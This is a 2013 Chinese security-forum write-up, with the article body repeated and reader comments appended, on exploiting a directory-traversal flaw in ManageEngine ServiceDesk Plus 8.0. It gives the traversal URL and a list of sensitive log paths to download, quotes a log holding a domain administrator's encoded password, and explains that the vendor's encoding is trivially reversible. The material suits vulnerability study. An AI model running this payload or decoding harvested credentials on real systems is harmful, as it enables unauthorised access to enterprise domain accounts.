ManageEngine ServiceDesk加密解密研究
ManageEngine ServiceDesk加密解密研究
Author : robot # sec-lab.org & bhst.org
Data : 2013/06/25
PS: 好久没在t00ls发文章了,支持t00ls,首发[B.H.S.T]
[0x00] 概 述
ManageEngine 主要应用于IT运维管理解决方案,包含着很多子系统,能够满足各种IT管理需求.常应用于大型企业的IT运维管理.在国外应用较多,在国内也有中文代理商.本文就其中一个子系统ServiceDesk的加密解密方法进行探讨和学习.
本文的环境是基于ManageEngine ServiceDesk 8.0.0 版本,该版本存在一个目录遍历下载漏洞,该产品基于Java开发,具有很好的跨平台,因此这里主要分析在Window下的安全利用思路,核心在于研究后台的加密解密的方法.
由于本人对Java也是初学者,分析有不对的地方还望指出,同时也申明该文章仅作研究之用,不得非法使用,否则后果自负.
[0x01]漏洞利用
该漏洞存在于ManageEngine ServiceDesk Plus 8.0,可以通过这个漏洞下载到任何文件,在Linux下我们可以得到很多信息,这里我就不多说了.在Window下我们所能做的不是很多.针对这种漏洞,第一思路是下载配置文件来看看,可是通过本地搭建环境发现系统默认的这些配置文件并不能得到很多信息,因为用户的配置信息都是写入到数据库中的,而数据库mysql或者是mssql在运行时无法下载的.这里我直接给出我们需要查看的一些敏感文件目录:
# 用户产品注册信息
C:\ManageEngine\ServiceDesk\logs\customerInfo.txt
# 如果使用默认的postgreSQL数据库
C:\ManageEngine\ServiceDesk\logs\InitPgsqllog.txt
# 服务端口和配置信息
C:\ManageEngine\ServiceDesk\logs\configport.txt
# 默认服务日志,非常重要,包含域环境下的密码hash
C:\ManageEngine\ServiceDesk\server\default\log\serverout0.txt
# 系统启动日志,包含系统版本和运行环境,判断使用数据库类型
C:\ManageEngine\ServiceDesk\server\default\log\boot.log
漏洞利用代码如下:
http://localhost:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\[FileToDownload]
这里需要注意的是,这个目录中的斜杠必须是反斜杠,否则会提示文件不存在.
在Window下环境很郁闷,不知道下载什么文件来获得敏感信息,最后在日志文件C:\ManageEngine\ServiceDesk\server\default\log\serverout0.txt中发现的domain的密码HASH.于是就分析该加密解密的方法.
[0x02] 加密解密研究
首先我们在serverout0.txt文件中发现如下记录:从这里我们得到一个非常重要的信息DOMAINPASSWORD,那么我们就必须分析这个19位的密码是通过什么方式进行的加密和解密的.这里我选择cavaj.java.decomplier对java进行逆向分析.通过日志,我们搜索CleanActiveDirectory函数,发现一个AdventNetContractAuditService.sar包,如图01:
使用rar打开该jar包,同时通过匹配内容找到对应的class文件,如图02:
把CleanActiveDirectory.class载入cavaj中,在其run函数中分析得到日志中的密码是通过这里写入的.代码如下:
这里得到了域信息结构体DomainInfo和加密类Encoder,同时发现这个记录是从数据库里面读取出来的,我本地搭建的是postgreSQL的数据库,我们查询得到如图04:
这个和日志里面是一样,那么下一步对encoder这个类进行分析,搜索会发现很多jar包包含这个类,通过反复查看,最终确认在AdventNetServiceDeskCommon.jar包中存在真实的加密解密的实现,路径为:\com\adventnet\servicedesk\security\encoder.class,如图05:
在这个函数里面我们首先分析加密函数convertToNewBase如图06:
加密过程很简单,只是进行了ASCII简单变换,解密的函数也帮我们写好了,通过CleanActiveDirectory.class文件知道直接调用了convertFromBase函数进行解码.那么解密就简单了,这里我写了一个java文件进行解码如图07:
这里简要说下java编译,通过sun官方下载jdk环境安装,设置环境变量,同时设置classpath路径,然后进入项目目录执行命令:
# 这里是编译java文件,生成.class文件,文件名在window下部区分大小写
Javac encoder.java
# 运行java,格式java+空格+类名 (类名需区分大小写)
Java encoder
完成之后即可运行编码解码程序
[0x03] 总结
Java并没有想象的那么负责,对于入门还是蛮快的,特别是对有c/c++基础的来说,本文并没有太多的分析,重点在于加密盒解密模块.有任何问题欢迎交流:http://www.sec-lab.org 或者 www.bhst.org.
[0x04] 参考资料
[1]download:http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
[2]manageengine数据库管理
http://www.manageengine.com/products/service-desk/help/adminguide/introduction/setting_up_database.html
[3] 中文代理商: http://www.zohocorp.com.cn/manageengine/
加密解密模块JAVA源码下载:
PDF文档下载:
Author : robot # sec-lab.org & bhst.org
Data : 2013/06/25
PS: 好久没在t00ls发文章了,支持t00ls,首发[B.H.S.T]
[0x00] 概 述
ManageEngine 主要应用于IT运维管理解决方案,包含着很多子系统,能够满足各种IT管理需求.常应用于大型企业的IT运维管理.在国外应用较多,在国内也有中文代理商.本文就其中一个子系统ServiceDesk的加密解密方法进行探讨和学习.
本文的环境是基于ManageEngine ServiceDesk 8.0.0 版本,该版本存在一个目录遍历下载漏洞,该产品基于Java开发,具有很好的跨平台,因此这里主要分析在Window下的安全利用思路,核心在于研究后台的加密解密的方法.
由于本人对Java也是初学者,分析有不对的地方还望指出,同时也申明该文章仅作研究之用,不得非法使用,否则后果自负.
[0x01]漏洞利用
该漏洞存在于ManageEngine ServiceDesk Plus 8.0,可以通过这个漏洞下载到任何文件,在Linux下我们可以得到很多信息,这里我就不多说了.在Window下我们所能做的不是很多.针对这种漏洞,第一思路是下载配置文件来看看,可是通过本地搭建环境发现系统默认的这些配置文件并不能得到很多信息,因为用户的配置信息都是写入到数据库中的,而数据库mysql或者是mssql在运行时无法下载的.这里我直接给出我们需要查看的一些敏感文件目录:
# 用户产品注册信息
C:\ManageEngine\ServiceDesk\logs\customerInfo.txt
# 如果使用默认的postgreSQL数据库
C:\ManageEngine\ServiceDesk\logs\InitPgsqllog.txt
# 服务端口和配置信息
C:\ManageEngine\ServiceDesk\logs\configport.txt
# 默认服务日志,非常重要,包含域环境下的密码hash
C:\ManageEngine\ServiceDesk\server\default\log\serverout0.txt
# 系统启动日志,包含系统版本和运行环境,判断使用数据库类型
C:\ManageEngine\ServiceDesk\server\default\log\boot.log
漏洞利用代码如下:
http://localhost:8080/workorder/FileDownload.jsp?module=agent&&FILENAME=%20..\..\..\..\..\..\..\..\..\[FileToDownload]
这里需要注意的是,这个目录中的斜杠必须是反斜杠,否则会提示文件不存在.
在Window下环境很郁闷,不知道下载什么文件来获得敏感信息,最后在日志文件C:\ManageEngine\ServiceDesk\server\default\log\serverout0.txt中发现的domain的密码HASH.于是就分析该加密解密的方法.
[0x02] 加密解密研究
首先我们在serverout0.txt文件中发现如下记录:
[00:19:39:462]|[06-23-2013]|[com.adventnet.servicedesk.contract.internal.CleanActiveDirectory]|[INFO]|[18]|: DataObject of Domains : <WritableDataObject>
<Tables>
[DomainInfo, DomainLoginInfo, PasswordInfo, SDActiveDirectoryInfo] </Tables>
SelectQuery Object:
Select columnNames=[DomainInfo.DOMAINID, DomainInfo.COMMENTS, DomainInfo.DOMAINNAME, DomainInfo.DISCOVERYSTATUS, DomainInfo.ISPUBLIC, SDActiveDirectoryInfo.AD_ID, SDActiveDirectoryInfo.DOMAIN_ID, SDActiveDirectoryInfo.SERVER_NAME, DomainLoginInfo.DOMAINID, DomainLoginInfo.DOMAINLOGINNAME, DomainLoginInfo.PASSWORDID, PasswordInfo.PASSWORDID, PasswordInfo.DOMAINPASSWORD]
Criteria=(DomainInfo.DOMAINID IN ('301'))
Number of Objects=0
Starting row=1
Order by columnNames=[]
Table List=[DomainInfo AS DomainInfo, SDActiveDirectoryInfo AS SDActiveDirectoryInfo, DomainLoginInfo AS DomainLoginInfo, PasswordInfo AS PasswordInfo]
Joins= Join := DomainInfo AS DomainInfo LEFT JOIN SDActiveDirectoryInfo AS SDActiveDirectoryInfo ON DomainInfo.DOMAINID=SDActiveDirectoryInfo.DOMAIN_ID , Join := DomainInfo AS DomainInfo LEFT JOIN DomainLoginInfo AS DomainLoginInfo ON DomainInfo.DOMAINID=DomainLoginInfo.DOMAINID , Join := DomainLoginInfo AS DomainLoginInfo LEFT JOIN PasswordInfo AS PasswordInfo ON DomainLoginInfo.PASSWORDID=PasswordInfo.PASSWORDID
SetLock= false
<JoinsInDO>
Join := DomainInfo AS DomainInfo LEFT JOIN SDActiveDirectoryInfo AS SDActiveDirectoryInfo ON DomainInfo.DOMAINID=SDActiveDirectoryInfo.DOMAIN_ID
Join := DomainInfo AS DomainInfo LEFT JOIN DomainLoginInfo AS DomainLoginInfo ON DomainInfo.DOMAINID=DomainLoginInfo.DOMAINID
Join := DomainLoginInfo AS DomainLoginInfo LEFT JOIN PasswordInfo AS PasswordInfo ON DomainLoginInfo.PASSWORDID=PasswordInfo.PASSWORDID
</JoinsInDO>
<Operations>
</Operations>
<Rows>
<DomainInfo DOMAINID="301" DOMAINNAME="ITTONGLUREN.COM" CANONICALNAME="null" DISCOVERYSTATUS="UNDISCOVERED" COMMENTS="" LASTDISCOVEREDTIME="null" ISPUBLIC="true" />
<DomainLoginInfo DOMAINID="301" DOMAINLOGINNAME="administrator" PASSWORDID="1" />
<PasswordInfo PASSWORDID="1" DOMAINPASSWORD="e8c94uB8969Ib9678Y1" ALGORITHM="null" />
<SDActiveDirectoryInfo AD_ID="1" DOMAIN_ID="301" SERVER_NAME="adserver-01f2fe" USER_NAME="null" USER_PASSWORD="null" />
</Rows>
</WritableDataObject>
使用rar打开该jar包,同时通过匹配内容找到对应的class文件,如图02:
把CleanActiveDirectory.class载入cavaj中,在其run函数中分析得到日志中的密码是通过这里写入的.代码如下:
这里得到了域信息结构体DomainInfo和加密类Encoder,同时发现这个记录是从数据库里面读取出来的,我本地搭建的是postgreSQL的数据库,我们查询得到如图04:
这个和日志里面是一样,那么下一步对encoder这个类进行分析,搜索会发现很多jar包包含这个类,通过反复查看,最终确认在AdventNetServiceDeskCommon.jar包中存在真实的加密解密的实现,路径为:\com\adventnet\servicedesk\security\encoder.class,如图05:
在这个函数里面我们首先分析加密函数convertToNewBase如图06:
加密过程很简单,只是进行了ASCII简单变换,解密的函数也帮我们写好了,通过CleanActiveDirectory.class文件知道直接调用了convertFromBase函数进行解码.那么解密就简单了,这里我写了一个java文件进行解码如图07:
这里简要说下java编译,通过sun官方下载jdk环境安装,设置环境变量,同时设置classpath路径,然后进入项目目录执行命令:
# 这里是编译java文件,生成.class文件,文件名在window下部区分大小写
Javac encoder.java
# 运行java,格式java+空格+类名 (类名需区分大小写)
Java encoder
完成之后即可运行编码解码程序
[0x03] 总结
Java并没有想象的那么负责,对于入门还是蛮快的,特别是对有c/c++基础的来说,本文并没有太多的分析,重点在于加密盒解密模块.有任何问题欢迎交流:http://www.sec-lab.org 或者 www.bhst.org.
[0x04] 参考资料
[1]download:http://www.manageengine.com/products/service-desk/91677414/ManageEngine_ServiceDesk_Plus.exe
[2]manageengine数据库管理
http://www.manageengine.com/products/service-desk/help/adminguide/introduction/setting_up_database.html
[3] 中文代理商: http://www.zohocorp.com.cn/manageengine/
加密解密模块JAVA源码下载:
PDF文档下载:
评论9次
manageengine 都是java写的 不是很懂
这应该不算研究了,,,在代码里找算法,
自己写工具解密牛掰,算法没看懂
有点看不懂诶~
都是自定义的 Java混淆器 有些不同 有些能 编译出代码 不过代码混乱完全没有可读性 有些就是全是乱码 以一种特殊的方式保证虚拟机能够执行 但是文件却是混乱加密的 百度上科普科普吧
什么类型的混淆加密?
恩,小弟也是java新手,正在自学,xi望anlfi 牛也推荐相关java加密解密的的文章,本文只是第一个分析java的.谢谢指点.
我前几天就遇见混淆的加密 蛋疼
这些 可以直接反编译的java 还不算难 遇到 加密混淆编译的 函数的就蛋疼了 完全没有可读性 “Java并没有想象的那么负责” 是复杂吧 java 可是十分敏感的东西 看似不难 代码越写越多 等到突然出错 各种奇葩问题 呵呵 遇到内网渗透这算是基本功了 现在大企业基本都在用java 的架构 很多加密算法都是不公开的 了解如何加密和解密的过程实在是很有意思的事 因为你需要的东西基本就可能都在它后面了 不像C写的你还要去汇编 java 和.NET 至少还有代码给你看 去分析加密和封包